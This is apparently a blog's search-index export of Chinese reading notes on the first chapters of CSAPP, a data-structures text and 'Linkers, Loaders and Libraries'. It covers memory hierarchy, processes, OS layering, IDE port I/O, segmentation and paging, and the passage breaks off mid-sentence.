的硬件技术实现的。\n高速缓存的局部性原理,即程序具有访问局部区域里的数据和代码的趋势。\n\n存储设备形成层次结构在处理器和一个较大较慢的设备(例如主存)之间插入一个更小更快的存储设备(例如高速缓存)的想法已经成为一个普遍的观念。实际上,每个计算机存储系统中的存储设备都被组织成了一个存储器层次结构,在这个层次结构中,从上至下,设备的访问速度越来越慢、容量越来越大,并且每字节的造价也越来越便宜。寄存器文件在层次结构中位于最顶部,也就是第0级或记为L0。\n\n存储器层次结构的主要思想是上一层的存储器作为低一层存储器的高速缓存。\n操作系统管理硬件当shell加载和运行hello程序时,以及hello程序输出消息时,shell和hello程序都没有直接访问键盘、显示器、磁盘或者主存。取而代之的是,它们依靠操作系统提供的服务。我们可以把操作系统看成是应用程序和硬件之间插入的一层软件。所有应用程序对硬件的操作尝试都必须通过操作系统。\n\n操作系统有两个基本功能:1.防止硬件倍失控的原因程序滥用。2.向原因程序提供简单一致的基址来控制复杂而又通常大不相同的低级硬件设备。\n操作系统通过几个基本的抽象概念(进程、虚拟内存和文件)来实现这两个功能。\n文件是对I/O设备的抽象表示,虚拟内存是对主存和磁盘I/O设备的抽象表示,进程则是对处理器、主存和I/O设备的抽象表示。\n\n进程像hello这样的程序在现代系统上运行时,操作系统会提供一种假象,就好像系统上只有这个程序在运行。程序看上去是独占地使用处理器、主存和 I/O 设备。处理器看上去就像在不间断地一条接一条地执行程序中的指令,即该程序的代码和数据是系统内存中唯一的对象。这些假象是通过进程的概念来实现的,进程是计算机科学中最重要和最成功的概念之一。\n进程是操作系统对一个正在运行的程序的一种抽象。在一个系统上可以同时运行多个进程,而每个进程都好像在独占地使用硬件。而并发运行,则是说一个进程的指令和另一进程的指令是交错执行的。\n在大多数系统中,需要运行的进程数是多于可以运行它们的CPU个数的。传统系统在一个时刻只能执行一个程序,而先进的多核处理器同时能够执行多个程序。无论是在单核还是多核系统中,一个CPU看上去都像是在并发地执行多个进程,这时通过处理器在进程间切换来实现的。操作系统实现这种交叉执行的机制称为上下文切换。\n操作系统保持跟踪进程运行所需的所有状态信息。这种状态,也就是上下文,包括许多信息,比如PC和寄存器的当前值,以及主存的内容。在任何一个时刻,单处理器系统都只能执行一个进程的代码。当操作系统决定要把控制权从当前进程转移到某个新进程时,就会进行上下文切换,即保存当前进程的上下文、恢复新进程的上下文,然后将控制权传递到新进程。新进程就会从它上次停止的地方开始。\n示例场景中有两个并发的进程:shell进程和hello进程。最开始,只有shell进程在运行,即等待命令行上的输入。当我们让它运行hello程序时,shell通过调用一个专门的函数,即系统调用,来执行我们的请求,系统调用会将控制权传递给操作系统。操作系统保存shell进程的上下文,创建一个新的hello进程及其上下文,然后将控制权传递给新的hello进程。hello进程终止后,操作系统恢复shell进程的上下文,并将控制权传回给它,shell进程会继续等待下一个命令行输入。\n从一个进程到另一个进程的转换是由操作系统内核(kernel)管理的。内核是操作系统代码常驻主存的部分。当应用程序需要操作系统的某些操作时,比如读写文件,它就执行一条特殊的系统调用(system call)指令,将控制权传递给内核。然后内核执行被请求的操作并返回应用程序。注意,内核不是一个独立的进程。相反,它是系统管理全部进程所用代码和数据结构的集合。\n\n实现进程这个抽象概念需要低级硬件和操作系统软件之间的紧密合作。\n线程尽管通常我们认为一个进程只有单一的控制流,但是在现代系统中,一个进程实际上可以由多个称为线程的执行单元组成,每个线程都运行在进程的上下文中,并共享同样的代码和全局数据。\n由于网络服务器中对并行处理的需求,线程称为越来越重要的编程模型,因为多线程之间比多进程之间更容易共享数据,也因为线程一般来说都比进程更高效。当有多处理器可用的时候,多线程也是一种使得程序可以运行得更快的方法。\n虚拟内存虚拟内存是一个抽象概念,它为每个进程提供了一个假象,即每个进程都在独占地使用主存。每个进程看到的内存都是一致的,称为虚拟地址空间。\n\n每个进程看到的虚拟地址空间由大量准确定义的区构成,每个区都有专门的功能。\n\n程序代码和数据。对所有的进程来说,代码是从同一固定地址开始,紧接着的是和C全局变量相对应的数据位置。代码和数据区是直接按照可执行目标文件的内容初始化的。\n堆。代码和数据区后紧随着的是运行时堆。代码和数据区在进程一开始运行时就被指定了大小,与此不同,当调用像malloc和free这样的C标准库函数时,堆可以在运行时动态地扩展和收缩。\n共享库。大约在地址空间的中间部分是一块用来存放像C标准库和数学库只有的共享库的代码和数据的区域。\t\n栈。位于用户虚拟地址空间顶部的是用户栈,编译器用它来实现函数调用。和堆一样,用户·栈在程序执行期间可以动态地扩展和收缩。特别地,每次我们调用一个函数时,栈就会增长;从一个函数返回时,栈就会收缩。\n内核虚拟内存。地址空间顶部的区域是为内核保留的。不允许应用程序读写这个区域的内容或者直接调用内核代码定义的函数。相反,它们必须调用内核来执行这些操作。\n\n\t\n虚拟内存的运作需要硬件和操作系统软件之间精密复杂的交互,包括堆处理器生成的每个地址的硬件翻译。基本思想是把一个进程虚拟内存的内容存储在磁盘上,然后用主存作为磁盘的高速缓存。\n文件文件就是字节序列,仅此而已。每个I/O设备,包括磁盘、键盘、显示器,甚至网络,都可以看成是文件。系统中的所有输入输出都是通过使用一小组称为Unix I/O的系统函数调用读写文件来实现的。\n文件这个简单而精致的概念是非常强大的,因为它像应用程序提供了一个统一的视图,来看待系统中可能含有的所有各式各样的I/O设备。例如,处理磁盘文件内容的应用程序员可以非常幸福,因为它们无须了解具体的磁盘技术。进一步说,同一个程序可以在使用不同磁盘技术的不同系统上运行。\n系统之间利用网络通信现代系统经常通过网络和其他系统连接到一起。从一个单独的系统来看,网络可视为一个 I/O 设备,当系统从主存复制一串字节到网络适配器时,数据流经过网络到达另一条机器,而不是比如说到达本地磁盘驱动器。相似地,系统可以读取从其他及其发送来的数据,并把数据复制到自己的主存。\n\n重要主题Amdahl定律该定率的主要思想是,当我们对系统的某个部分加速时,其对系统整体性能的影响取决于该部分的重要性和加速程度。若系统执行某应用程序需要时间为T old。假设系统某部分所需执行时间与该时间的比例为a,而该部分性能提示比例为k。即该部分初始时间为a T old,现在所需时间为(a T old)/k。因此总的执行时间应为\n\nAmdahl 定律一个有趣的情况是考虑k趋向于无穷时的效果。这就意味着,我们可以区系统的某一部分将其加速到一个点,在这个点上,这部分划分的时间可以忽略不记。\n于是我们得到\t\n\nAmdahl 定律描述了改善任何过程的一般原则。除了可以用在加速计算机系统方面之外,它还可以用在公司试图降低刀片制造成本,或学生想要提高自己的绩点平均值等方面。也许它在计算机世界里是最有意义的,在这里我们常常把性能提升2倍或更高的比例因子。这么高的比例因子只有通过优化系统的大部分组件才能获得。\n并发和并行数字计算机的历史中,有两个需求是驱动进步的持续动力:一个是我们想要计算机做得更多,另一个是我们想要计算机运行得更快。当处理器能够同时做更多的事情时,这两个因素都会改进。\n我们用的术语并发是一个通用的概念,指一个同时具有多个活动的系统;而术语并行指的是用并发来使一个系统运行得更快。并行可以在计算机系统的多个抽象层次上运用。在此,我们按照系统层级结构中由高到低的顺序重点强调三个层次。\n1.线程级并发\n构建在进程这个抽象之上,我们能够设计出同时有多个抽象执行的系统,这就导致了并发。使用线程,我们甚至能够在一个进程中执行多个控制流。\n自出现时间共享依赖,计算机系统中就可以有了对并发执行的支持。传统意义上,这种并发执行只是模拟出来的,是通过使一台计算机在它正在执行的进程间快速切换来实现的。这种配置称为单处理器系统。\n当构建一个由单操作系统内核控制的多处理器组成的系统时,我们就得到了一个多处理器系统。随着多核处理器和超线程的出现,这种系统才变得常见。\n\n多核处理器是将多个CPU集成到一个集成电路芯片上。\n\n超线程,有时称为同时多线程,是一项允许一个CPU执行多个控制流的技术。它涉及CPU某些硬件有多个备份,比如程序计数器和寄存器文件,而其他的硬件部分只有一份,比如执行浮点算术运算的单元。\n2.指令级并行\n在较低的抽象层次上,现代处理器可以同时执行多条指令的数学称为指令集并行。\n3.单指令、多数据并行\n在最低层次上,许多现代处理器拥有特殊的硬件,允许一条指令产生多个可以并行执行的操作,这种方式称为单指令、多数据,即SIMD并行。\n提供这些 SIMD 指令是为了提供处理影像、声音和视频数据应用的执行速度。\n计算机系统中抽象的重要性抽象的使用是计算机科学中最为重要的概念之一。\n\n虚拟机,它提供对整个计算机的抽象,包括操作系统、处理器和程序。\n","categories":["CSAPP"],"tags":["读书笔记"]},{"title":"《数据结构和算法》chapter1 数据结构序列","url":"/2024/10/24/data_structure/data-struct-1/","content":"基本概念和术语程序=数据结构+算法\n数据结构是一门研究非数值计算的程序设计问题中的操作对象,以及它们之间的关系和操作等相关问题的学科。\n数据数据:是描述客观事物的符号,是计算机中可以操作的对象,是能被计算机识别,并输入给计算机处理的符号集合。\n数据不仅仅包括整型、实型等数值类型,还包括字符及声音、图像、视频等非数值类型。\n数据元素数据元素:是组成数据的、有一定意义的基本单位,在计算机中通常作为整体处理,也被称为记录。\n在人类这个数据中,人就是数据元素。\n数据项数据项:一个数据元素可以由若干个数据项组成。\n比如:人这样的数据元素由眼睛、嘴巴、耳朵、鼻子等组成。\n数据项是数据不可分割的最小单位。\n数据对象数据对象:是性质相同的数据元素的集合,是数据的子集。\n什么叫性质相同呢,是指数据元素具有相同数量和类型的数据项。\n数据结构简单的理解就是关系。\n不同数据元素之间不是独立的,而是存在特定的关系,我们将这些关系称为结构。\n逻辑结构和物理结构逻辑结构逻辑结构:是指数据对象中数据元素之间的相互关系。\n集合结构集合结构:集合结构中的数据元素除了同属于一个集合外,它们之间没有其他关系。\n线性结构线性结构:线性结构中的数据元素之间是一对一的关系。\n树形结构树形结构:树形结构中的数据元素之间存在一种一对多的层次关系。\n图形结构图形结构:图形结构的数据元素是多对多的关系。\n物理结构\n物理结构:是指数据的逻辑结构在计算机中的存储形式。\n\n顺序存储结构顺序存储结构:是把数据元素放在地址连续的存储单元里,其数据间的逻辑关系和物理关系是一致的。\n链式存储结构链式存储结构:是把数据元素放在任意的存储单元里,这组存储单元可以是连续的,也可以是不连续的。\n数据类型数据类型定义\n抽象是指抽取出事物具有的普遍性的本质。\n\n抽象数据类型\n抽象数据类型(ADT):一个数学模型及定义在该模型上的一组操作。\n\n抽象数据类型体现了程序设计中问题分解、抽象和隐藏的特性。\n抽象数据类型格式:\nADT 抽象数据类型名Data\t数据元素之间逻辑关系的定义Operation操作1\t初始条件\t操作结果描述操作2操作nendADT\n\n数据结构的定义:数据结构是相互之间存在一种或多种特定关系的数据元素的集合。\n","categories":["数据结构和算法"]},{"title":"《链接、装载与库》chapter1 简介","url":"/2024/10/24/link_load_lib/link-load-lib-1/","content":"第一章 温故而知新从hello,world说起计算机在执行hello,world的时候发生了什么?\n万变不离其宗在计算机多如牛毛的硬件设备中。有三个部件最为关键,它们分别是 CPU、内存和 I/O 控制芯片。\n早期 CPU 的核心频率并不高,跟内存的频率一样,它们都是直接连接在同一个总线(Bus) 上。由于 I/O 设备等速度和内存相比还是慢很多。为了协调 I/O 设备与总线之间的速度,也为了能够让 CPU 能够和 I/O 设备进行通信,一般每个设备都有一个相应的 I/O 控制器。\n之后由于 CPU 核心频率的提升,导致内存跟不上 CPU 的速度,于是产生了与内存频率一致的系统总线,而 CPU 采用倍频的方式与系统总线进行通信。接着由于图形化的普及,使得图形芯片需要跟内存和 CPU 之间大量交换数据,慢速的 I/O 总线已经无法满足图形设备的巨大需求。为了协调 CPU、内存和高速的图形设备,人们设计了一个高速的北桥(Northbridge,PCI Bridge) 芯片,以便它们之间能够高速地交换数据。\n由于北桥运行的速度非常高,所有相对低速的设备如果全都直接连接在北桥上,北桥即须处理高速设备,又须处理低速设备,设计就会十分复杂。于是人们又设计了专门处理低速设备的南桥(Southbridge) 芯片。磁盘、USB 等设备都链接在南桥上,由南桥将它们汇总后连接到北桥上。\n\n位于中间的是连接所有高速芯片的北桥,它就像人的心脏,连接并驱动身体的各个部位;它的左边是 CPU,负责所有的控制和运算,就像人的大脑,北桥还连接着几个高速部件,包括左边的内存和下面的 PCI 总线。\nSMP与多核\nCPU 因制造工艺达到物理极限,因此 CPU 的频率达到了 4GHz 的天花板。\n在频率上短期内已经没有提高的余地,于是人们想办法从另外一个角度提高 CPU 的速度,就是增加 CPU 的数量。\n对称多处理器(SMP),简单地讲就是每个 CPU 在系统中所处的地位和所发挥的功能都是一样的,是相互对称的。理论上讲,增加 CPU 的数量就可以提高运算速度,但实际上并非如此,就像一个女人可以花 10 个月生一个孩子,但是 10 个女人并不能一个月就生出一个孩子一样。\n多核处理器就是将多个处理器 “合并在一起打包出售”,这些 “被打包” 的处理器之间共享比较昂贵的缓存部件,只保留多个核心,并且以一个处理器的外包装进行出售,售价比单核处理器只贵了一点,这就是多核处理器的基本想法。多核处理器实际上就是 SMP 的简化版,当然细节上还有一些差别。\n站得高,望得远系统软件这个概念其实比较模糊,传统意义上一般将用于管理计算机本身的软件称为系统软件,以区别普通的应用程序。\n系统软件可以分成两块,一块是平台性的,比如操作系统内核、驱动程序、运行库;另外一块是用于程序开发的,比如编译器、汇编器、链接器等开发工具和开发库。\n计算机系统软件体系结构采用一种层的结构,有人说过一句名言:\n\n计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决.\n\n这句话几乎概括了计算机软件体系结构的设计要点,整个体系结构从上到下都是按照严格的层次结构设计的。不仅是计算机系统软件整个体系是这样的,体系里面的每个组件,很多应用程序、软件系统甚至很多硬件结构都是按照这种层次的结构组织和设计的。\n系统软件体系结构中,各种软件的位置如图:\n\n每个层次之间都需要相互通信,既然需要通信必须有一个通信的协议,我们一般将其称为接口(Interface),接口的下面那层是接口的提供者,由它定义接口;接口的上面那层是接口的使用者,它使用该接口来实现所需要的功能。\n在层次结构中,接口是被精心设计过的,尽量保持稳定不变,那么理论上层次之间只要遵循这个接口,任何一个层都可以被修改或被替换。除了硬件和应用程序,其他都是所谓的中间层,每个中间层都是对它下面的那层的包装和扩展。\n正是这些中间层的存在,使得应用程序和硬件之间保持相对的独立。\n虚拟机技术就是在硬件和操作系统之间增加了一层虚拟层,使得一个计算机上可以同时运行多个操作系统,这也是层次结构带来的好处,在尽可能少改变甚至不改变其他层的情况下,新增加一个层次就可以提供前所未有的功能。\n我们的软件体系中,位于最上层的是应用程序,比如浏览器。从整个层次结构上来看,开发工具与应用程序是属于同一个层次的,因为它们都使用一个接口,那就是操作系统应用程序编程接口(API)。应用程序接口的提供者是运行库,什么样的运行库提供什么样的 API,比如 Linux 下的 Glibc 库提供 POSIX 的 API;Windows 的运行库提供 Windows API,最常见的 32 位 Windows 提供的 API 又被称为 Win32。\n运行库使用操作系统提供的系统调用接口(System call interface),系统调用接口在实现中往往以软件中断(Software interrupt) 的方式提供,比如 Linux 使用 0x80 号中断作为系统调用接口,Windows 使用 0x2E 号中断作为系统调用接口(从 XP Sp2 开始,Windows 开始采用一种新的系统调用方式)。\n操作系统内核层对于硬件层来说是硬件接口的使用者,而硬件是接口的定义者,硬件的接口定义决定了操作系统内核,具体来讲就是驱动程序如何操作硬件,如何与硬件通信。这种接口往往被叫做硬件规格(Hardware Specification),硬件的生产厂商负责提供硬件规格,操作系统和驱动程序的开发者通过阅读硬件规格文档所规定的各种硬件编程接口标准来编写操作系统和驱动程序。\n操作系统做什么操作系统的一个功能是提供抽象接口,另外一个主要功能是管理硬件资源。\n计算机硬件的能力是有限的,为了充分发挥计算机的性能我们一直追求充分挖掘硬件的能力。\n一个计算机中的资源主要分为CPU、存储器(包括内存和磁盘)和 I/O 设备。\n我们分别从这三个方面来看看如何挖掘他们的潜力。\n不要让CPU打盹在计算机发展早期,CPU 只能运行一个程序,当程序读写磁盘时,CPU 就空闲下来了,这在当时就是浪费。于是人们很快编写了一个监控程序,当某个程序暂时无需使用 CPU 时,监控程序就把另外的正在等待 CPU 资源的程序启动,使得 CPU 能够充分地利用起来。这被称为多道程序(Multiprogramming)。\n当时大大提高了 CPU 的利用率。不过这种原始的多道程序技术存在最大的问题是程序之间的调度策略太粗糙。对于多道程序来说,程序之间不分轻重缓急,如果有些程序急需使用 CPU 来完成一些任务(比如用户交互的任务),那么可能很长时间后才有机会分配到 CPU。\n经过稍微改进,程序运行模式变成了一种协作的模式,即每个程序运行一段时间以后都主动让出 CPU 给其他程序,使得一段时间内每个程序都有机会运行一小段时间。这对于一些交互式的任务尤为重要,比如点击鼠标或键盘。程序所要处理的任务可能并不多,但是它需要尽快地被处理,使得用户能够立即看到效果。这种程序协作模式叫做分时系统(Time-Sharing System)。这时候的监控程序已经比多道程序要复杂多了,完整的操作系统雏形已经逐渐形成了。\n但是在分时系统中,如果一个程序在进行一个很耗时的运算,一直霸占着 CPU 不放,那么操作系统也没办法,其他程序都只有等着,整个系统看过去好像死机了一样。比如程序进入了一个while(1)的死循环,那么整个系统都停止了。\n在现在看来很荒唐,系统中的任何一个程序死循环都会导致系统死机,这是无法令人接受的。当时的 PC 硬件处理能力本身就很弱,上面的应用大多比较低端,所以这种分时方式勉强也能应付一些当时的交互式环境了。\n此前在高端领域,非 PC 的大中小型机领域,其实已经在研究一种更为先进的操作系统了。这种模式就是我们现在所熟悉的多任务(Multi-tasking)系统,操作系统接管了所有的硬件资源,并且本身运行在一个受硬件保护的级别。所有的应用程序都以进程(Process) 的方式运行在比操作系统权限更低的级别,每个进程都有自己的地址空间,使得进程之间的地址空间相互隔离。\nCPU 由操作系统统一进行分配,每个进程根据进程优先级的高低都有机会得到 CPU,但是,如果运行时间超出了一定的时间,操作系统会暂停该进程,将 CPU 资源分配给其他等待运行的进程。这种 CPU 的分配方式即所谓的抢占式(Preemptive),操作系统可以强制剥夺 CPU 资源并且分配给它认为目前最需要的进程。如果操作系统分配给每个进程的时间都很短,即 CPU 在多个进程间快速地切换,从而造成了很多进程都在同时运行的假象。目前几乎所有现代的操作系统都是采用这种方式,比如我们熟悉的 UNIX、Llinux、Windows NT,以及 Mac OS X等流行的操作系统。\n设备驱动操作系统作为硬件层的上层,它是对硬件的管理和抽象。对于操作系统上面的运行库和应用程序来说,它们希望看到的是一个统一的硬件访问模式。作为应用程序的开发者,我们不希望在开发应用程序的时候直接读写硬件端口、处理硬件中断等这些繁琐的事情。由于硬件之间千差万别,它们的操作方式和访问方式都有区别。比如我们希望在显示器上画一条直线,对于程序员来说,最好的方式是不管计算机使用什么显卡、什么显示器,多少大小多少分辨率,我们都只要调用一个统一的 LineTo() 函数,具体的实现方式由操作系统来完成。\n当成熟的操作系统出现以后,硬件逐渐被抽象成了一系列概念。在 UNIX 中,硬件设备的访问形式跟访问普通的文件形式一样;在 Windows 系统中,图形硬件被抽象成了 GDI,磁盘被抽象成了普通文件系统,等等。程序员逐渐从硬件细节中解放出来,可以更多地关注应用程序本身的开发。这些繁琐的硬件细节全都交给了操作系统,具体地讲是操作系统中的硬件驱动程序(Device Driver) 来完成。驱动程序可以看作是操作系统的一部分,它往往跟操作系统内核一起运行在特权级,但它又与操作系统内核直接有一定的独立性,使得驱动程序有比较好的灵活性。因为 PC 的硬件多如牛毛,操作系统开发者不可能为每个硬件开发一个驱动程序,这些驱动程序的开发工作通常由硬件生产厂商完成。操作系统开发者为硬件生产厂商提供了一系列接口和框架,凡是按照这个接口和框架开发的驱动程序都可以在该操作系统上使用。\n让我们以一个读取文件为例子来看看操作系统和驱动程序在这个过程中扮演了什么样的角色。\n提到文件的读取,就不得不提文件系统这个操作系统中最为重要的组成部分之一。文件系统管理着磁盘中文件的存储方式,比如我们在 Linux 系统下有一个文件 /home/user/test.dat,长度为 8000 个字节。那么我们在创建这个文件的时候,Linux 的 ext3 文件系统可能将这个文件按照这样的方式存储在磁盘中:文件的前 4096 字节存储在磁盘的1000 号扇区到 1007 号扇区,每个扇区 512 字节,8 个扇区刚好 4096 字节;文件的第 4097 个字节到第 8000 字节共 3904 个字节,存储在磁盘的 2000 号扇区到 2007 号扇区,8 个扇区也是 4096 个字节,只不过只存储了 3904 个有效的字节,剩下的 192 个字节无效。\n如果把这个文件的存储方式看作是一个链状的结构,它的结构如图\n\n硬盘结构,硬盘基本存储单位为扇区(Sector),每个扇区一般为 512 字节。一个硬盘往往有多个盘片,每个盘片分两面,每面按照同心圆划分为若干个磁道,每个磁道划分为若干个扇区。比如一个硬盘有 2 个盘片,每个盘面分 65536 磁道,每个磁道分 1024 个扇区,那么硬盘的容量就是 137 438 953 472字节(128GB)。但是我们可以想象,每个盘面上同心圆的周长不一样,如果按照每个磁道都拥有相同数量的扇区,那么靠近盘面外围的磁道密度肯定比内圈更加稀疏,这样是比较浪费空间的。但是如果不同的磁道扇区数又不同,计算起来就十分麻烦。为了屏蔽这些复杂的硬件细节,现代的硬盘普遍使用 LBA 的方式,即整个硬盘中的所有的扇区从 0 开始编号,一直到最后一个扇区,这个扇区编号叫做逻辑扇区号。逻辑扇区号抛弃了所有复杂的磁道、盘面之类的概念。当我们给出一个逻辑的扇区号时,硬盘的电子设备会将其转换成实际的盘面、磁道等这些位置。\n文件系统保持了这些文件的存储结构,负责维护这些数据结构并且保证磁盘中的扇区能够有效地组织和利用。那么当我们在 Linux 系统中,要读取这个文件的前 4096 个字节时,我们会使用一个 read 的系统调用来实现。文件系统收到 read 请求之后,判断出文件的前 4096 个字节位于磁盘的 1000 号逻辑扇区到 1007 号逻辑扇区。然后文件系统就向硬盘驱动发出一个读取逻辑扇区为 1000 号开始的 8 个扇区的请求,磁盘驱动程序收到这个请求以后就像硬盘发出硬件命令。向硬件发送 I/O 命令的方式有很多种,其中最常见的一种就是通过读写 I/O 端口寄存器来实现。在 x86 平台上,共有 65 536 个硬件端口寄存器,不同的硬件被分配到了不同的 I/O 端口地址。CPU 提供了两条专门的指令 “in” 和“out” 来实现对硬件端口的读和写。\n对 IDE 接口来说,它有两个通道,分别为 IDE0 和 IDE1,每个通道上可以连接两个设备,分别为 Master 和 Slave,一个 PC 中最多可以有 4个 IDE 设备。假设我们的文件位于 IDE0 的 Master 硬盘上,这也是正常情况下硬盘所在的位置。在 PC 中,IDE0 通道的 I/O 端口地址是 0x1F00x1IDE 及 0x3760x377。通过读写这些端口地址就能与 IDE 硬盘进行通信。这些端口的作用和操作方式十分复杂,我们以实现读取 1000 号逻辑扇区开始的 8 个扇区为例:\n\n第 0x1F3~0x1F6 4个字节的端口地址是用来写入 LBA 地址的,那么 1000 号逻辑扇区的 LBA 地址为 0x000003E8,所以我们需要往 0x1F3、 0x1F4 写入 0x00,往 0x1F5 写入 0x03,往 0x1F6 写入 0xE8。 \n0x1F2 这个地址用来写入命令所需要读写的扇区数。比如读取 8 个扇区 即写入 8。 \n0x1F7这个地址用来写入要执行的操作的命令码,对于读取操作来说,命令字为 0x20。 \n所以我们要执行的指令为: out 0x1F3, 0x00out 0x1F4, 0x00out 0x1F5, 0x03out 0x1F6, 0xE8out 0x1F2, 0x08out 0x1F7, 0x20\n\n在硬盘收到这个命令以后,它就会执行相应的操作,并且将数据读取到事先设置好的内存地址中(这个内存地址也是通过类似的命令方式设置的)。当然这里的例子中只是最简单的情况,实际情况比这个复杂得多,驱动程序须要考虑硬件的状态(是否忙碌或读取错误)、调度和分配各个请求以达到最高的性能等。\n内存不够怎么办上面提到了进程的概念,进程的总体目标是希望每个进程从逻辑上来看都可以独占计算机的资源。操作系统的多任务功能使得 CPU 能够在多个进程之间很好地共享,从进程的角度看好像是它独占了 CPU 而不用考虑与其他进程分享 CPU 的事情。操作系统的 I/O 抽象模型也很好地实现了 I/O 设备的共享和抽象,那么唯一剩下的就是主存,也就是内存分配的问题了。\n在早期的计算机中,抽象是直接运行在物理内存上的,也就是说,程序在运行时所访问的地址都是物理地址。当然,如果一个计算机同时只运行一个程序,那么只要程序要求的内存空间不要超过物理内存的大小,就不会有问题。但事实上,为了更有效地利用硬件资源,我们会同时运行多个程序,正如前面的多道程序、分时系统和多任务中一样,当我们能够同时运行多个程序时,CPU 的利用率会很高。那么很明显的一个问题是,如何将计算机上有效的物理内存分配给多个程序使用。\n假设我们现在的计算机有 128MB 内存,程序 A 运行需要 10MB,程序 B 需要 100MB,程序 C 需要 20MB.如果我们需要同时运行程序 A 和B,那么比较直接的做法是将前 10MB 分配给程序 A,10MB~110MB 分配给 B。这样就能够实现 A 和 B 两个程序同时运行,但是这种简单的内存分配策略问题很多。\n\n地址空间不隔离 所有程序都直接访问物理地址,程序所使用的内存空间不是相互隔离的。恶意的程序可以很容易改写其他程序的内存数据,以达到破坏的目的;有些非恶意的、但是有臭虫的程序可能不小心修改了其他程序的数据,就会使其他程序也崩溃,这对于需要安全稳定的计算环境的用户来说是不能容忍的。用户希望他在使用计算机的时候,其中一个任务失败了,至少不会影响其他任务。\n\n内存使用效率低 由于没有有效的内存管理机制,通常需要一个程序执行时,监控程序就将整个程序装入内存中然后开始执行。如果我们忽然需要运行程序 C,那么这时内存空间其实已经不够了,这时候我们可以用的一个办法是将其他程序的数据暂时写到磁盘里面,等到需要用到的时候再读回来。由于程序所需要的空间是连续的,那么这个例子里面,如果我们将程序 A 换出到磁盘所释放的内存空间是不够的,所以只能将 B 换出到磁盘,然后 C 读入内存开始运行。可以看到整个过程中有大量的数据在换入换出,导致效率十分低下。\n\n程序运行的地址不确定 因为程序每次需要装入运行时,我们都需要给它从内存中分配一块足够大的空闲区域,这个空闲区域的位置是不确定的。这给程序的编写造成了一定的麻烦,因为程序在编写时,它访问数据和指令跳转时的目标地址很多都是固定的,这涉及程序的重定位问题,我们在后面还会详细探讨重定位的问题。\n\n\n解决这几个问题的思路就是使用我们前文提到过的法宝:增加中间层,即使用一种间接的地址访问方法。整个想法是这样的,我们把程序给出的地址看作是一种虚拟地址(Virtual Address),然后通过某些映射的方法,将这个虚拟地址转换成实际的物理地址。这样,只要我们能够妥善地控制这个虚拟地址到物理地址的映射过程,就可以保证任意一个程序所能够访问的物理内存区域跟另外一个程序相互不重叠,以达到地址空间隔离的效果。\n关于隔离让我们回到程序的运行本质上来。用户程序在运行时不希望介入到这些复杂的存储器管理过程中,作为普通的程序,它需要的是一个简单的执行环境,有一个单一的地址空间、有自己的 CPU,好像整个程序占有整个计算机而不用关心其他的程序(当然程序间通信的部分除外,因为这是程序主动要求跟其他程序通信和联系)。所谓的地址空间是个比较抽象的概念,你可以把它想象成一个很大的数组,每个数组的元素是一个字节,而这个数据大小由地址空间的地址长度决定,比如 32 位的地址空间的大小为 2^32=4 294 967 296 字节,即 4GB,地址空间有效的地址是 04294967295,用十六进制标识就是 0x000000000xFFFFFFFF。地址空间分两种:虚拟地址空间(Virtual Address Space)和物理地址空间(Physical Address Space)。\n物理地址空间是实实在在存在的,存在于计算机中,而且对于每一台计算机来说只有唯一的一个,你可以把物理地址空间想象成物理内存,比如你的计算机用的是 Intel的 Pentium 4 的处理器,那么它是 32 位的机器,即计算机地址线有 32 条(实际上是 36 条地址线,不够我们暂时认为它只是 32 条),那么物理空间就有 4GB。但是你的计算机只装了 512MB 的内存,那么其实物理地址的真正有效部分只有 0x00000000~0x1FFFFFFF,其他部分都是无效的(实际上还有一些外部 I/O 设备映射到物理空间的,也是有效的,但是我们暂时无视)。虚拟地址空间是指虚拟的、人们想象出来的地址空间,其实它并不存在,每个进程都有自己独立的虚拟空间,而且每个进制只能访问自己的地址空间,这样就有效做到了进程的隔离。\n分段(Segmentation)最开始人们使用的是一种叫做分段(Segmentation) 的方法,基本思路是把一段与程序所需要的内存空间大小的虚拟空间映射到某个地址空间。比如程序 A 需要 10MB 内存,那么我们假设有一个地址从 0x00000000 到 0x00A00000 的 10MB 大小的一个假象的空间,也就是虚拟空间,然后我们从实际的物理内存中分配一个相同大小的物理地址,假设是物理地址 0x10000000 开始到 0x00B00000 结束的一块空间。然后我们把这两块相同大小的地址空间一一映射,即虚拟空间中的每个字节相对于物理空间中的每个字节。这个映射过程由软件来设置,比如操作系统来设置这个映射函数,实际的地址转换由硬件完成。比如当程序 A 中访问地址 0x00001000 时,CPU 会将这个地址转换成实际的物理地址 0x00101000。那么比如程序 A 和程序 B 在运行时,它们的虚拟空间和物理空间映射关系可能如图所示。\n\n分段的方法基本解决了上面提到的 3 个问题中的第一个和第三个。首先它做到了地址隔离,因为程序 A 和程序 B 被映射到了两块不同的物理空间区域,它们之间没有任何重叠,如果程序 A 访问虚拟空间的地址超出了 0x00A00000 这个范围,那么硬件就会判断这是一个非法的访问,拒绝这个地址请求,并将这个请求报告给操作系统或监控程序,由它来决定如何处理。再者,对于每个程序来说,无论它们被分配到物理地址的哪一个区域,对于程序来说都是透明的,它们不需要关心物理地址的变化,它们只需要从地址 0x00000000 到 0x00A00000 来编写程序、放置变量,所有程序不再需要重定位。\n但是分段的这种方法还是没有解决我们的第二个问题,即内存使用效率的问题。分段对内存区域的映射还是按照程序为单位的,如果内存不足,被换入换出到磁盘的都是整个程序,这样势必会造成大量的磁盘访问操作,从而严重影响速度,这种方法还是显得粗糙,粒度比较大。事实上,根据程序的局部性原理,当一个程序在运行时,在某个时间段内,它只是频繁地用到了一小部分数据,也就是说,程序的很多数据其实在一个时间段内都是不会被用到的。人们很自然地想到了更小粒度的内存分隔和映射的方法,使得程序的局部性原理得到充分的利用,大大提高了内存的使用率。这种方法就是分页(Paging)。\n分页(Paging)分页的基本方法是把地址空间人为地等分成固定大小的页,每一页的大小由硬件决定,或硬件支持多种大小的页,由操作系统选择决定页的大小。比如 Intel Pentium 系列处理器支持 4KB 或 4MB 的页大小,那么操作系统可以选择每页大小为 4KB,也可以选择每页大小为 4MB,但是在同一时刻只能选择一种大小,所以对整个系统来说,页就是固定大小的。目前几乎所有的 PC 上的操作系统都使用 4KB 大小的页。我们使用的 PC 机是 32 位的虚拟地址空间,也就是 4GB,那么按 4KB 分页的话,总共有 1048 576 个页。物理空间也是同样的分法。\n下面我们来看一个简单的例子,如图所示,每个虚拟空间有 8 页,每页大小为 1KB,那么虚拟地址空间就是 8KB。我们假设该计算机有 13 条地址线,即拥有 2^13 的物理寻址能力,那么理论上物理空间可以多达 8KB。但是出于种种原因,购买内存的资金不够,只买得起 6KB 的内存,所有物理空间其实真正有效的只是前 